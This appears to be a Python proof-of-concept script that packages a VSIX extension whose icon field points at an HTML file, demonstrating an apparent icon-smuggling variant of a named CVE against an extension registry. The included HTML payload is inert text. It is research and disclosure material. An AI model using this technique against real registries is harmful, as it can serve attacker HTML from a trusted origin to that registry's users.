import zipfile, os
vsix_path = "vpub.vext-1.0.0.vsix"
content_types = '''
'''
vsixmanifest = '''
Variant Test Extension
Variant test for CVE-2026-13323
__ext_vext
Other
Public
'''
# KEY: the "icon" field points at an HTML file. ExtensionProcessor.getIcon()
# performs NO type validation, so this HTML file is stored as the ICON FileResource.
package_json = '''{
"name": "vext",
"displayName": "Variant Test Extension",
"description": "Variant test for CVE-2026-13323",
"publisher": "vpub",
"version": "1.0.0",
"engines": { "vscode": "^1.51.1" },
"categories": ["Other"],
"icon": "payload.html",
"main": "./out/extension.js",
"contributes": {
"commands": [{ "command": "vext.hello", "title": "Hello World" }]
}
}'''
html_payload = '''
OpenVSX Variant PoC - Icon Smuggling
CVE-2026-13323 VARIANT PoC (HTML-as-icon)
This HTML file is smuggled as the extension icon and served from the registry origin.
'''
extension_js = '// Minimal extension entry point\nexports.activate = function() {};\nexports.deactivate = function() {};'
with zipfile.ZipFile(vsix_path, 'w', zipfile.ZIP_DEFLATED) as z:
z.writestr('[Content_Types].xml', content_types)
z.writestr('extension.vsixmanifest', vsixmanifest)
z.writestr('extension/package.json', package_json)
z.writestr('extension/payload.html', html_payload)
z.writestr('extension/out/extension.js', extension_js)
print(f"Created {vsix_path} ({os.path.getsize(vsix_path)} bytes)")